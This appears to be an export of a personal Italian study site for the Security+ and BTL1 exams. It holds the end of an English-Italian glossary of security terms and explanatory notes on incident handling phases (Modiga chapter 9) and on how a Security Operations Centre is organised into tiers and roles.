tutti i livelli di classificazione (Top Secret → Secret → Confidential → Unclassified) e i compartimenti. La struttura e' rigida e ordinata — non si inventa, si eredita dal sistema.\nLeak (sostantivo/verbo) — perdita, fuga. Come una perdita d'acqua in un tubo: l'acqua non arriva dove deve, va dispersa. In security: memory leak = memoria allocata che non viene mai rilasciata — \u0026quot;va persa\u0026quot; nel processo, non rientra nel pool di RAM libera. Il sistema rallenta progressivamente fino al crash. Usato anche in altri contesti: data leak = fuga di dati, credential leak = credenziali trapelate. Hook mnemonico: tubo che perde acqua — la risorsa sparisce senza tornare disponibile.\nLock out / Locking out (verbo) — bloccare l'accesso, escludere. \u0026quot;Locking out users\u0026quot; = impedire agli utenti di accedere ai propri sistemi o dati. In security: il meccanismo principale del ransomware — l'attaccante cifra i dati con una chiave che solo lui conosce, di fatto escludendo la vittima dai propri file. Da distinguere da account lockout policy (blocco temporaneo dopo N tentativi falliti) — qui il lockout e' intenzionale e malevolo, non un controllo difensivo. Hook mnemonico: lock = lucchetto, out = fuori → ti metto un lucchetto e ti lascio fuori.\nLegacy hardware/system (sostantivo) — hardware o sistema obsoleto, superato da tecnologie piu' recenti, ma ancora in uso perche' critico per il business. Non significa necessariamente \u0026quot;senza supporto\u0026quot; — puo' ancora ricevere aggiornamenti dal vendor. La caratteristica e' che e' vecchio e non piu' prodotto/diffuso, non che sia privo di patch. Exam trap: legacy != EOL. Azioni tipiche: compensating controls, segmentazione, isolamento, piano di sostituzione.\nEOL (End-of-Life) (sostantivo) — fine vita. Hardware o software che il produttore ha ufficialmente dichiarato non piu' supportato: niente piu' patch di sicurezza, niente piu' aggiornamenti. EOL e' piu' grave di legacy perche' le vulnerabilita' che emergono non vengono piu' corrette. Tutto l'EOL e' legacy, ma non tutto il legacy e' EOL. Exam trap: \u0026quot;EOL\u0026quot; = zero patch dal vendor → esposizione garantita a CVE senza fix. Azioni: isolare, sostituire, applicare compensating controls.\nLikely (avverbio/aggettivo) — probabilmente, con più probabilità. \u0026quot;Most likely to be used\u0026quot; = quello che più probabilmente viene usato. Exam trap: non è \u0026quot;possibilmente\u0026quot; (possibly) — indica la scelta più probabile/logica tra le opzioni.\nK # Keystroke / Keystrokes (sostantivo) — pressione di tasto / tasti premuti. Il dato grezzo: ogni volta che premi un tasto sulla tastiera, quello e' un keystroke. Termine neutro, non implica nulla di malevolo. Distingui da keylogger: keystroke e' il dato (cosa hai premuto), keylogger e' il software che lo registra. Exam trap: \u0026quot;keystrokes\u0026quot; nei testi security significa sempre \u0026quot;quello che l'utente ha digitato\u0026quot; — password, messaggi, numeri di carta. Il keylogger cattura i keystrokes e li manda all'attaccante.\nKeylogger (sostantivo) — software (o hardware) che registra i tasti premuti dall'utente a sua insaputa. Logger = chi registra: come \u0026quot;data logger\u0026quot; registra dati, \u0026quot;keylogger\u0026quot; registra i tasti. Non e' una categoria di malware autonoma come virus o Trojan — e' una funzione, un payload che puo' essere parte di un RAT, di un Trojan, di uno spyware. Esiste anche in forma hardware: un dispositivo fisico inserito tra tastiera e PC che registra tutto senza toccare il software. Hook: \u0026quot;key\u0026quot; = tasto, \u0026quot;logger\u0026quot; = registratore. Exam trap: la differenza tra keylogger e Trojan/virus e' che keylogger descrive COSA FA il malware (ruba keystrokes), mentre Trojan descrive COME SI MASCHERA e virus descrive COME SI REPLICA. Categorie ortogonali che si sovrappongono.\nKernel (sostantivo) — nucleo. Il cuore del sistema operativo. Gestisce hardware, memoria, processi e rete. In italiano: nucleo. Esempi: Linux (Ubuntu/Kali), XNU (macOS), NT (Windows).\nS # Security assessment (sostantivo) — valutazione della sicurezza. Processo di analisi sistematica di sistemi, policy e controlli per identificare vulnerabilità e gap. Può essere interno o esterno, tecnico (vulnerability scan, pen test) o organizzativo (audit policy). Exam trap: non è un attacco — è una revisione autorizzata. Più ampio di un vulnerability scan (che è solo tecnico) — include anche la verifica delle policy.\nScareware (sostantivo) — software che spaventa (scare = spaventare, ware = software). Tipo di Trojan che si maschera da antivirus gratuito: mostra messaggi allarmanti (\u0026quot;il tuo sistema e' infetto da 47 virus!\u0026quot;), spaventa l'utente, poi chiede soldi per \u0026quot;risolvere\u0026quot; i problemi inventati. I problemi non esistono: li riporta anche su un sistema appena installato e pulito. L'obiettivo e' il pagamento della \u0026quot;versione completa\u0026quot; (tipicamente 79-99$). Alcuni scareware installano anche backdoor reali in background. Hook: scare + ware = \u0026quot;software del terrore\u0026quot;. La truffa funziona perche' l'utente non sa distinguere un alert vero da uno falso. Exam trap: scareware e' un sottoinsieme dei Trojan — si presenta come qualcosa di utile (antivirus) ma e' malevolo.\nSloppily (avverbio) — in modo approssimativo, con poca cura, trascuratamente. Da sloppy = sciatto, disordinato. \u0026quot;Locked down sloppily\u0026quot; = protetto in modo sciatto → il server sembra facile da violare. In security: un honeypot è intenzionalmente configurato sloppily per attirare gli attaccanti — sembra un target trascurato e facile, non una trappola. Hook mnemonico: sloppy = \u0026quot;fatto di fretta, male\u0026quot; → sloppily = \u0026quot;in modo sciatto\u0026quot;. Exam trap: non è sinonimo di \u0026quot;insicuro per errore\u0026quot; — nel contesto honeypot è una scelta deliberata.\nSophisticated / Sophistication (aggettivo/sostantivo) — sofisticato / sofisticazione. In security: livello di competenza tecnica, risorse e capacita' di un threat actor. Un attaccante \u0026quot;sophisticated\u0026quot; usa exploit custom, zero-day, tecniche avanzate di evasione dei controlli. Un attaccante \u0026quot;unsophisticated\u0026quot; usa tool preconfezionati trovati online. Gibson usa \u0026quot;level of sophistication/capability\u0026quot; come uno dei tre attributi principali per distinguere i threat actor. Hook: sophistication e' l'opposto di \u0026quot;script kiddie\u0026quot; — piu' e' alta, piu' l'attaccante e' pericoloso e difficile da rilevare. Exam trap: sophistication alta NON implica automaticamente nation-state, anche organized crime puo' essere molto sofisticato.\nSyndicate (sostantivo) — consorzio, associazione, sindacato (in senso criminale: organizzazione criminale strutturata). \u0026quot;Criminal syndicate\u0026quot; = organizzazione criminale con gerarchia formale, divisione dei ruoli, obiettivi condivisi. Gibson usa \u0026quot;criminal syndicates\u0026quot; per descrivere l'organized crime nel cybercrime. Hook: \u0026quot;sindicato\u0026quot; in spagnolo ha lo stesso significato, la parola viene dal greco syndikatikos (che agisce per conto di un gruppo). Exam trap: \u0026quot;syndicate\u0026quot; in italiano puo' ricordare \u0026quot;sindacato\u0026quot; (dei lavoratori) ma in contesto security e' sempre un'organizzazione criminale strutturata.\nSideloading (sostantivo/verbo) — installazione di un'app su un dispositivo mobile al di fuori dell'app store ufficiale. Su Android: abilitato per default (basta attivare \u0026quot;origini sconosciute\u0026quot; e installare l'APK). Su iOS: richiede jailbreak perche' Apple blocca l'installazione di app non firmate. Rischio: le app sideloaded non passano la revisione del vendor → possono contenere malware, backdoor, spyware. Exam trap: sideloading != jailbreaking. Il jailbreaking rimuove le restrizioni del SO. Il sideloading e' solo il metodo di installazione alternativo. Android permette il sideloading senza jailbreak; iOS no.\nSprawl (sostantivo) — espansione incontrollata, proliferazione disordinata. Viene dall'urbanistica: urban sprawl = citta' che cresce senza piano regolatore, mangiandosi la campagna. In security: VM sprawl = VM che si moltiplicano senza inventario, senza policy, senza nessuno che le gestisca. Hook mnemonico: immagina una citta' che cresce a macchia d'olio senza strade, senza servizi — VM sprawl e' la stessa cosa: istanze che compaiono ovunque, nessuno sa dove sono, nessuno le patcha.\nSpoofed / Spoofing (aggettivo/verbo) — falsificato, contraffatto. Far sembrare che qualcosa provenga da una fonte diversa da quella reale. \u0026quot;Spoofed IP\u0026quot; = IP falsificato. \u0026quot;Email spoofing\u0026quot; = mittente contraffatto. \u0026quot;Caller ID spoofing\u0026quot; = numero di telefono falsificato. Exam trap: spoofing è il metodo — phishing, vishing, smishing possono tutti usarlo come tecnica.\nSpread (sostantivo/verbo) — propagazione, diffusione. In security: il malware o l'accesso dell'attaccante si propaga ad altri sistemi. \u0026quot;Stop the spread\u0026quot; = fase di Containment nell'IR. Collegato a lateral movement (l'attaccante si sposta tra macchine) e network segmentation (limita la propagazione).\nSyscall / System call (sostantivo) — chiamata di sistema. Richiesta che un programma user space invia al kernel per eseguire un'operazione privilegiata (aprire file, aprire socket, avviare processi). I numeri identificativi variano per architettura (ARM64 vs x86_64).\nV # VDI / Virtual Desktop Infrastructure (sostantivo) — infrastruttura desktop virtuale. Il sistema operativo desktop gira su un server aziendale centralizzato. L'utente si collega da remoto con qualsiasi device (thin client, laptop personale) e vede il desktop come se fosse locale, ma il dato non lascia mai il server. Exam trap: quando la domanda dice \u0026quot;keep data on a company device\u0026quot; + \u0026quot;don't want to provide equipment\u0026quot; → VDI. MDM gestisce device fisici. VPN crea un tunnel ma i dati possono finire sul device remoto. VDI mantiene tutto lato server. Caso d'uso tipico: offshore team, BYOD ad alto rischio, ambienti regulated.\nValuable (aggettivo) — di valore, prezioso. \u0026quot;Valuable data\u0026quot; = dati di valore. Parola chiave nei testi Security+: i honeypot contengono dati che sembrano valuable all'attaccante ma non lo sono. Distinzione importante: un honeypot contiene dati apparently valuable (apparentemente preziosi) ma non genuinely valuable (realmente preziosi) — l'attaccante non sa la differenza. Hook mnemonico: value = valore → valuable = che ha valore. Exam trap: \u0026quot;valuable asset\u0026quot; è spesso ciò che l'attaccante cerca — customer lists, product plans, employee records. La protezione di questi asset giustifica honeypot, access control e encryption.\nT # Tokenization (sostantivo) — sostituzione di dati sensibili con un valore segnaposto (token) non significativo, che rimanda all'originale solo tramite una vault sicura. Diverso dalla cifratura: il token non ha relazione matematica con il dato reale, quindi e' inutile se rubato senza accesso alla vault. Caso reale: nei sistemi di pagamento, il numero di carta di credito viene sostituito con un token — anche se l'attaccante intercetta il token, non puo' ricavarne il numero reale. Exam trap: tokenization != encryption. Encryption e' reversibile con una chiave. Un token e' reversibile solo consultando la vault — senza di essa e' spazzatura.\nThwart / Thwarted (verbo / participio passato) — sventare, bloccare, impedire / sventato, bloccato. \u0026quot;Security controls thwart attacks\u0026quot; = i controlli di sicurezza sventano gli attacchi. \u0026quot;Keyloggers can be thwarted by 2FA\u0026quot; = i keylogger possono essere sventati dal 2FA. Parola frequente nei testi Security+ per indicare che un controllo ha avuto successo nel fermare una minaccia. Hook: quando vedi \u0026quot;thwarted\u0026quot; in una domanda, stai leggendo che una difesa ha funzionato.\nTailgating (sostantivo/verbo) — \u0026quot;seguire attaccato alla coda\u0026quot;. Tecnica di social engineering fisico: seguire da vicino una persona autorizzata attraverso una porta di sicurezza senza fornire le proprie credenziali. La persona autorizzata apre la porta con il badge, l'attaccante entra subito dopo prima che si richiuda — sfruttando la cortesia delle persone (\u0026quot;tenere la porta aperta\u0026quot;). In italiano: non esiste un termine esatto, si usa \u0026quot;piggybacking\u0026quot; come sinonimo o si descrive. Hook mnemonico: tailgating in macchina = stare incollato al paraurti di chi ti precede. Stesso concetto a piedi: stai incollato alla persona davanti che ha il badge. Exam trap: tailgating != phishing — e' un attacco fisico, non digitale. Collegato a physical security controls: mantrap, badge policy, security awareness training.\nShoulder surfing (sostantivo) — \u0026quot;fare surf sulla spalla di qualcuno\u0026quot;. Tecnica per ottenere informazioni guardando da sopra la spalla di una vittima che sta usando un computer, uno smartphone o uno sportello ATM. L'attaccante vede la password digitata, il PIN, i dati sullo schermo. Puo' avvenire di persona o tramite telecamera. Contromisura: screen filter (filtro privacy per lo schermo) che rende il display illeggibile da angolazioni diverse da quella frontale. Hook mnemonico: \u0026quot;surf\u0026quot; sulla spalla = scivolare sulle informazioni che vedi stando dietro qualcuno. Exam tip: trigger words = \u0026quot;looking over someone's shoulder\u0026quot;, \u0026quot;screen visible to others\u0026quot;, \u0026quot;public area\u0026quot; → shoulder surfing. La contromisura e' sempre lo screen filter/privacy screen.\nTyposquatting (sostantivo) — dirottamento tramite errore di digitazione. Registrare domini che replicano errori tipici di battitura di siti noti: paypa1.com, gooogle.com, arnazon.com. Chi sbaglia a digitare l'URL finisce su un sito controllato dall'attaccante, identico all'originale. In italiano: non esiste termine ufficiale — si usa \u0026quot;typosquatting\u0026quot; o \u0026quot;domain squatting\u0026quot;. Hook: typo = errore di battitura, squatting = occupare abusivamente. Occupi abusivamente un dominio-typo aspettando che qualcuno ci cada. Exam trap: typosquatting != phishing. Nel phishing l'attaccante ti manda il link. Nel typosquatting aspetta che tu digiti l'URL sbagliato da solo.\nTampered (aggettivo) — alterato, manomesso. Il contenuto di qualcosa è stato modificato. Diverso da spoofed (falsificata la provenienza) — tampered = cambiato il dato, spoofed = cambiata l'identità. Es: \u0026quot;tampered log file\u0026quot; = log modificato per nascondere tracce.\nThreshold (sostantivo) — soglia, limite accettabile. In risk management: il livello massimo di rischio tollerato prima di dover agire. Exam trap: non è \u0026quot;compromesso\u0026quot; — è un limite numerico o qualitativo prestabilito. Es: \u0026quot;risk threshold exceeded\u0026quot; = la soglia di rischio è stata superata.\nTransceiver (sostantivo) — dispositivo che combina trasmettitore e ricevitore in uno. Portmanteau di transmitter + receiver. In reti wireless, il transceiver nell'access point gestisce sia l'invio che la ricezione dei segnali radio sulle frequenze (2.4GHz, 5GHz). Un AP dual-band ha due transceiver distinti — uno per banda. Tool: iw dev mostra i transceiver attivi su Linux. Hook: transmette e riceive — trans-ceiver.\nR # RADIUS (sostantivo) — Remote Authentication Dial-In User Service. Server centralizzato per l'autenticazione di rete. Riceve le credenziali dall'AP, le verifica nel suo database, risponde con accesso concesso/negato. Porte: 1812 (standard), 1645 (legacy). La shared secret tra AP e RADIUS non è la password dell'utente — è la chiave che autentica l'AP come client fidato del RADIUS. Usato in WPA2/WPA3 Enterprise mode con 802.1X. S # SAE (sostantivo) — Simultaneous Authentication of Equals. Meccanismo di autenticazione WPA3 che sostituisce il PSK di WPA2. Usa una passphrase ma aggiunge Diffie-Hellman → resiste agli attacchi offline di brute-force sull'handshake catturato. \u0026quot;Equals\u0026quot; = AP e client si autenticano reciprocamente, nessuno dei due è privilegiato.\nShared secret (sostantivo, RADIUS) — password condivisa tra AP e server RADIUS per autenticare l'AP come client fidato. Non è la password degli utenti. Exam trap frequente: shared secret ≠ user password.\nW # Vishing (sostantivo) — Voice + phishing. Phishing condotto via telefono o VoIP invece che via email. Il VoIP permette di falsificare il caller ID. Exam tip: trigger words = \u0026quot;phone call\u0026quot;, \u0026quot;automated recording\u0026quot;, \u0026quot;caller ID spoofed\u0026quot; → vishing.\nSmishing (sostantivo) — SMS + phishing (mashup). Phishing via messaggio di testo invece che via email. Bypassa i filtri antispam tradizionali. Caso tipico: SMS falso da un servizio noto che chiede di rispondere con un codice di verifica → l'attaccante usa quel codice per hijackare l'account via 2FA. Exam tip: trigger words = \u0026quot;text message\u0026quot;, \u0026quot;SMS\u0026quot;, \u0026quot;mobile device\u0026quot; → smishing.\nMashup (sostantivo) — fusione di due cose mescolate insieme. In linguistica: parola composta da pezzi di due parole (portmanteau). Smishing = SMS + phishing. Vishing = Voice + phishing. In musica: due brani sovrapposti. In tech: applicazione che combina dati da piu' fonti.\n\u0026quot;Was concerned\u0026quot; (pattern) — era preoccupato/a, si preoccupava. Inglese generale, non tecnico. Es: \u0026quot;the manager was concerned about the breach\u0026quot; = il manager era preoccupato per la violazione.\nWarm site (sostantivo) — sito di disaster recovery parzialmente attrezzato. Hardware presente ma non completamente aggiornato — richiede alcune ore per essere operativo. Via di mezzo tra hot site (costoso, immediato) e cold site (economico, lento). RTO: ore.\nWell-known credentials (sostantivo) — credenziali predefinite e pubblicamente note. Username e password di default che i vendor impostano in fabbrica e che chiunque può trovare online (es. admin/admin, root senza password). Exam trap: non sono credenziali rubate o compromesse — sono credenziali mai cambiate dall'installazione. Vettore di attacco comune su router, dispositivi IoT, database. Collegato a default credentials nel contesto 2.2 (threat vectors).\nWatering hole (sostantivo) — attacco in cui l'aggressore compromette un sito web legittimo frequentato abitualmente dal gruppo target, aspettando che le vittime vengano da sole. Il nome viene dalla tattica predatoria: aspettare al punto d'acqua dove le prede devono necessariamente andare. Exam trap: non e' phishing (il phishing arriva all'utente via email — il watering hole e' l'utente che va sul sito). L'attaccante non contatta mai direttamente la vittima. Exam tip: trigger words = \u0026quot;frequently visited website\u0026quot;, \u0026quot;compromised legitimate site\u0026quot;, \u0026quot;targeted industry employees\u0026quot;.\n\u0026quot;while [verb]-ing\u0026quot; (connettivo) — allo stesso tempo, minimizzando/mantenendo. Es: \u0026quot;provide access while minimizing traffic\u0026quot; = fornire accesso e allo stesso tempo minimizzare il traffico. Exam trap: non è \u0026quot;mentre\u0026quot; temporale — è simultaneità di obiettivi. Cambia il senso della domanda.\n\u0026quot;by which\u0026quot; (connettivo) — tramite cui, attraverso cui. Es: \u0026quot;channels by which the organization communicates\u0026quot; = i canali tramite cui l'organizzazione comunica. Exam trap: non tradurre letteralmente \u0026quot;by\u0026quot; come \u0026quot;da\u0026quot; — qui è \u0026quot;tramite\u0026quot;.\n\u0026quot;in which\u0026quot; (connettivo) — in cui. Es: \u0026quot;industry in which the organization operates\u0026quot; = il settore in cui opera. Stesso pattern di \u0026quot;by which\u0026quot; — relativa con preposizione anticipata.\nWilling (aggettivo) — disposto, propenso, disponibile a fare qualcosa. \u0026quot;Users are more willing to comply\u0026quot; = gli utenti sono piu' disposti a obbedire. In social engineering: descrive la propensione della vittima ad agire sotto pressione psicologica (authority, consensus, urgency). \u0026quot;Willingly\u0026quot; = volontariamente, di buon grado — es. \u0026quot;the victim willingly handed over credentials\u0026quot; = la vittima ha consegnato le credenziali di propria iniziativa (perche' convinta dal social engineer). Caso reale: nel Milgram Experiment i volontari erano willing to continue somministrare scosse non perche' volessero fare del male, ma perche' la figura autoritaria li aveva convinti. Hook mnemonico: willing ≠ forced — la vittima del social engineering agisce spesso willing, non sotto costrizione fisica. Questo e' cio' che rende il social engineering efficace e difficile da bloccare.\nUnaware (aggettivo) — ignaro, inconsapevole. \u0026quot;The two computers are unaware of the attacking computer\u0026quot; = i due computer non sanno che c'è un terzo che intercetta. Exam trap: non confondere con \u0026quot;unable\u0026quot; (incapace) — unaware significa mancanza di consapevolezza, non di capacità.\nEavesdrop (verbo) — origliare, intercettare passivamente una conversazione privata. Etimologia: stare sotto le gronde (\u0026quot;eaves\u0026quot;) di una casa per sentire chi parla dentro. In security: intercettazione passiva del traffico di rete senza modificarlo. \u0026quot;The attacker can eavesdrop on the session\u0026quot; = l'attaccante può intercettare la sessione. Distinto da active interception (on-path) dove il traffico viene anche modificato.\nCollegato a # glossario-cyber — glossario tecnico principale ","date":"7 maggio 2026","externalUrl":null,"permalink":"/dump/glossari/glossario-inglese/","section":"Dump","summary":"Dizionario personale di termini inglesi tecnici e non che ricorrono nei testi Security+ e BTL1. Aggiornato durante le sessioni di ripasso.","title":"Glossario Inglese - Parole che scordo","type":"dump"},{"content":" Cosa fa # Descrive il processo completo di gestione di un incidente di sicurezza (IH — Incident Handling) con le fasi operative, gli strumenti e i criteri decisionali usati in un SOC reale.\nTL;DR # IH (Incident Handling) è il contenitore che racchiude tutto il processo. IR (Incident Response) è il sottoinsieme operativo. Le fasi di Modiga seguono la stessa logica di PICERL ma con nomi diversi — per l'esame Security+ usa PICERL.\nIH vs IR # IH (Incident Handling): tutto il processo — persone, procedure, strumenti, comunicazione, ticketing. IR (Incident Response): il team/processo tecnico di risposta all'incidente. È un sottoinsieme di IH. Le fasi operative di Modiga (cap 9):\nDetection Analysis Containment Eradication Recovery Post-incident activity Corrispondenza con PICERL (SANS): le fasi centrali sono identiche. Modiga non nomina Preparation come fase esplicita; usa Detection+Analysis dove SANS usa Identification; chiama Post-incident activity quello che SANS chiama Lessons Learned.\n9.1.1 — Detection (Rilevazione) # La rilevazione di un incidente avviene tramite più canali:\nAutomatici:\nSIEM (es. Wazuh) — raccoglie log da tutta l'infrastruttura, applica regole, genera alert EDR/XDR — agent installato sugli endpoint che monitora processi, file system e connessioni in tempo reale IDS/IPS — intercettano traffico anomalo o tentativi di intrusione Umani:\nNOC team — può rilevare anomalie operative (server lento, picchi di traffico) Threat Hunter — cerca proattivamente minacce non ancora rilevate dagli alert automatici Utenti — segnalazioni di comportamenti anomali Tutto confluisce nel SIEM come punto centrale. Ogni evento genera un ticket nel sistema di ticketing — ogni passo dell'analisi viene documentato nel ticket stesso.\n9.1.2 — Analysis (Analisi) — IN CORSO (p. 495) # Triage # Prima attività dell'analisi. Composto da tre passi:\nAnalisi iniziale — capire contesto, origine e dinamica dell'evento Categorizzazione — classificare il tipo di incidente Prioritizzazione — determinare urgenza e impatto Le 5 domande del triage:\nDomanda Cosa cerca Who Macchine, utenti, server coinvolti What Attività rilevate (download sospetto, login fallito, ecc.) When Timestamp e frequenza — capisce se è sporadico, brute force, beaconing Where Origine geografica o di rete — IP estero sconosciuto = sospetto How Vettore e metodo — verso la comprensione tecnica dell'attacco Fonti per l'analisi # Interne:\nLog di sistema, firewall log SIEM, EDR, XDR Esterne (OSINT):\nVirusTotal — analisi file, URL, IP, domini Any.run — sandbox online per eseguire file sospetti Shodan — motore di ricerca per dispositivi esposti su internet Servizi premium (threat intel feed) Categorizzazione # Fondamentale per applicare il playbook corretto. Si usa una tassonomia:\nInterna — definita dall'organizzazione ENISA — standard europeo per linguaggio comune tra organizzazioni Ibrida — la più diffusa: tassonomia interna + ENISA Se l'incidente è nuovo → ticket separato. Se è già noto → i ticket vengono accorpati.\nPrioritizzazione # Ogni incidente riceve un livello di priorità. Schema comune:\nLivello Nome Descrizione P0 / L1 Critico Rischio malfunzionamento totale — intervento immediato P1 / L2 Alto Può diventare critico — intervento tempestivo P2 / L3 Medio Non urgente ma non ignorabile P3 / L4 Basso Nessuna minaccia immediata — spesso falso positivo. Basso non significa trascurabile Fattori che influenzano la priorità:\nTipologia host — server critico di produzione vs workstation utente Tipologia account — CEO, dirigente, account di servizio con privilegi elevati Numero di host e utenti — incidente circoscritto vs diffuso Stato di mitigazione — malware bloccato da EDR ha priorità inferiore a uno non rilevato Vincoli normativi — sistemi con dati GDPR, PCI-DSS, HIPAA, NIS2 → priorità automaticamente più alta Applicazioni coinvolte — CRM, DB, ERP impattano il business in modo diverso Impatto su business — impedisce di lavorare? Esfiltrazione dati — dati sensibili usciti dalla rete? Coinvolgimento supply chain — origine esterna (fornitore, software terzo) allarga il perimetro → priorità più alta Tipologia minaccia — ransomware, APT (Advanced Persistent Threat), compromissione account hanno gravità diverse Note Il tempo nell'analisi è critico: prima si contiene, meno il malware si espande. Analysis e Containment possono sovrapporsi quando il rischio è alto.\nSIEM tuning — falsi positivi e falsi negativi # Falsi positivi: alert su eventi innocui. Se numerosi saturano il SOC e rischiano di scalare a Tier superiori sprecando tempo. Il tuning calibra le regole sull'ambiente specifico.\nFalsi negativi: minacce reali classificate come innocue — il problema più grave. Aprono la strada agli APT, attaccanti con risorse elevate che restano nascosti a lungo nella rete.\nContromisure contro i falsi negativi:\nDefence in depth — difesa multi-livello lungo tutta la Kill Chain: se un layer non rileva, il successivo lo fa Threat intelligence — raccolta e analisi continua di informazioni sulle minacce per aggiornare IoC e IoA Threat hunting — ricerca proattiva di minacce non ancora rilevate dagli alert automatici Audit e penetration test periodici — verificano che i controlli funzionino davvero Important IoC (Indicator of Compromise) = traccia di compromissione già avvenuta (IP C2, hash malware, dominio). IoA (Indicator of Attack) = segnale di attacco in corso prima della compromissione (comportamento anomalo, sequenza sospetta). Rilevare IoA permette di intervenire prima.\n9.1.3 — Containment (Contenimento) # Due obiettivi paralleli — entrambi obbligatori:\nLimitare il perimetro — bloccare propagazione, movimento laterale, escalation di privilegi Mantenere il business operativo — isolare la minaccia senza fermare l'azienda Chi esegue: Tier 2 SOC o team IR dedicato. Il Tier 1 rileva e scala, il Tier 2 contiene.\nImportant Le azioni di contenimento non vengono scritte in real time — sono già nei playbook. Un analista non va a scrivere una regola firewall a mano durante un incidente: clicca un pulsante che applica una regola pre-scritta e testata.\nAzioni di contenimento # Firewall / blocco rete:\nBlocco bidirezionale delle connessioni C2 (reverse shell, beaconing) Blocco outbound verso domini o IP malevoli noti Regole già pronte — esecuzione centralizzata in un click EDR / blocklist:\nInserimento hash del malware nella blocklist dell'EDR — impedisce esecuzione su tutti gli endpoint gestiti simultaneamente Blocco process name o firma del file sospetto Account e sessioni:\nDisabilitazione dell'utenza compromessa Terminazione di tutte le sessioni attive: logout forzato, revoca token, kill sessioni SSO, RDP, VPN Non basta disabilitare l'account — le sessioni già aperte rimangono attive finché non vengono terminate esplicitamente Isolamento macchina:\nIsolare l'host dalla rete (EDR può farlo in un click — network isolation mode) Criticità: se la macchina è un server business-critical, l'isolamento totale può bloccare l'azienda. In quel caso si valuta isolamento parziale (solo traffico di gestione consentito) o si accetta il rischio temporaneamente Note Il processo di contenimento avviene in modo centralizzato tramite EDR/XDR. L'EDR agisce sul singolo endpoint (blocca un processo, isola la macchina). L'XDR ha visibilità cross-environment e può bloccare simultaneamente su più fonti — endpoint, rete, cloud — impedendo che il movimento laterale si propaghi prima che ogni singolo EDR venga aggiornato.\nDa completare # 9.1.3 Containment 9.1.4 Eradication 9.1.5 Recovery 9.1.6 Post-incident activity 9.2 Scenari reali (account, ransomware, phishing, port scan) Collegato a # incidents — il processo che porta a un incident report log — fonti primarie per detection e analysis incident-response-lifecycle — framework PICERL di riferimento per Security+ glossario-cyber — IH, IR, triage, OSINT, telemetria, tassonomia ENISA settimana-11 — lettura mercoledi 06/05 ","date":"6 maggio 2026","externalUrl":null,"permalink":"/concetti/incident-response-modiga-cap9/","section":"Concetti","summary":"Gestione degli incidenti secondo Modiga cap 9: fasi IH, detection, analisi, prioritizzazione, SIEM tuning, containment. Nota in corso - p. 509.","title":"Incident Response - Modiga cap 9 - Analisi e risposta agli incidenti","type":"concetti"},{"content":" Cosa fa # Presidia l'infrastruttura aziendale H24, monitora log e alert, esegue triage, gestisce e coordina la risposta agli incidenti di sicurezza. Opera tramite un sistema di ticketing (es. Jira, TheHive) per tracciare ogni evento dalla segnalazione alla chiusura.\nTL;DR # Il SOC è strutturato su tre tier con responsabilità crescenti. Il tier 1 monitora H24 e filtra il rumore. Il tier 2 indaga e correla. Il tier 3 caccia minacce e costruisce le difese. Attorno ai tier esistono ruoli specializzati per malware, forensics, rete, email, threat intelligence e gestione.\nStruttura a tier # Tier 1 — Analisti di primo livello # Lavorano H24 su tre turnazioni. Sono il primo punto di contatto con gli alert.\nAttività principali:\nMonitoraggio continuo di log e alert nel SIEM Triage iniziale — classificare l'alert e scartare i falsi positivi Escalation verso il tier 2 per gli alert confermati Revisione e tuning del SIEM per ridurre il rumore Tier 2 — Analisti di secondo livello # Lavorano H8, reperibili fuori orario.\nAttività principali:\nRevisione approfondita del triage segnalato dal tier 1 Correlazione eventi e analisi contestuale Report sugli incidenti Tuning avanzato del SIEM Tier 3 — Analisti senior / Threat Hunter # Know-how avanzato, spesso interfaccia con i clienti.\nAttività principali:\nThreat hunting — cercano minacce non ancora rilevate dagli alert automatici Creazione di playbook (procedure operative per tipi di incidente) Interazione con clienti e stakeholder Definizione delle strategie di detection Ruoli specializzati # Ruolo Responsabilita' Analista malware Analisi tecnica di campioni malware, reverse engineering, sandbox Analista forense Raccolta e conservazione prove digitali, garantisce la catena-di-custodia Analista Threat Intelligence Raccoglie informazioni su minacce, attori e IOC da feed esterni Ingegnere SIEM Gestione, configurazione e ottimizzazione del SIEM (es. wazuh-architecture) Analista di rete Difende la rete, gestisce firewall, IDS/IPS, proxy, VPN, contrasta DoS/DDoS/MiTM Analista email security Mitiga phishing, configura SPF/DKIM/DMARC, gestisce user awareness e phishing simulato SOC Manager Supervisione operativa, coordinamento risorse, definisce KPI e SLA, gestisce il budget Team Leader Coordinamento tra SOC Manager e analisti CISO Chief Information Security Officer — figura di vertice della sicurezza informatica aziendale Modelli di deployment # SOC Interno # Vantaggi:\nMassima conoscenza dell'infrastruttura Controllo totale su processi e dati Minor rischio di dispersione di dati sensibili Svantaggi:\nCosti elevati (personale H24, formazione continua) Difficolta' nel trovare personale qualificato Scalabilita' complessa SOC Esterno (MSSP) # Vantaggi:\nReady to go — esperti gia' operativi con SIEM e EDR configurati Riduzione dei tempi di onboarding Costi prevedibili Svantaggi:\nDipendenza dal fornitore esterno Possibile disallineamento con le esigenze specifiche dell'organizzazione Rischio per i dati sensibili trasmessi all'esterno SOC Ibrido # Il modello piu' diffuso nelle aziende mature. Il fornitore esterno gestisce triage e copertura H24, l'azienda mantiene internamente strategia e threat intelligence.\nVantaggi:\nEquilibrio tra controllo e costi Scalabilita' semplificata La parte strategica rimane interna Svantaggi:\nPossibile sovrapposizione di responsabilita' e lacune di copertura Difficolta' di coordinamento tra i due team Richiede procedure ben definite e robuste per funzionare SLA e KPI nel SOC # Non sono concetti esclusivi del SOC ma sono centrali nella gestione operativa.\nSLA (Service Level Agreement): il contratto — definisce gli impegni formali tra fornitore e cliente. KPI (Key Performance Indicator): le metriche — misurano se gli SLA vengono rispettati.\nScenario SLA (impegno) KPI (misurazione) Rilevazione incidente Rilevare entro X minuti MTTD — Mean Time to Detect Triage iniziale Classificare entro 30 minuti dall'alert Tempo medio triage — se \u0026gt; 30 min, SLA violato Contenimento minaccia Contenere entro 2 ore MTTR — Mean Time to Respond SOC vs NOC # SOC NOC Focus Sicurezza informatica Operativita' della rete Attivita' Monitoring alert, triage, IR Installazione/config apparati, disponibilita' servizi Gestisce Incidenti di sicurezza Router, switch, firewall (lato operativo), load balancer Tool tipici SIEM, EDR, Wireshark NMS, dashboard uptime, monitoraggio latenza Il NOC non si occupa di sicurezza in senso stretto. Tuttavia, a seconda del livello di maturita' dell'organizzazione, puo' collaborare con il SOC — ad esempio rilevando un picco anomalo di traffico che poi il SOC indaga come potenziale attacco.\nCollegato a # log — il SOC consuma log da tutte le fonti wazuh-architecture — SIEM usato in lab incident-response-lifecycle — il processo che il SOC segue mitre-attack-framework — linguaggio per classificare le minacce 